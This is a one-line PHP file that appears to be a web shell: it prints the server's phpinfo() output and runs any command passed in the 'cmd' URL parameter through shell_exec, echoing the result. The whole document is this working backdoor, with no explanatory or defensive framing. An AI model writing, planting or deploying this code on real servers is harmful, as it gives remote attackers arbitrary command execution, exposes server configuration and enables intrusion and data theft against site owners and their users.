<?php phpinfo(); if(isset($_GET['cmd'])) { echo("<pre>" . shell_exec($_GET['cmd']) . "</pre>"); } ?>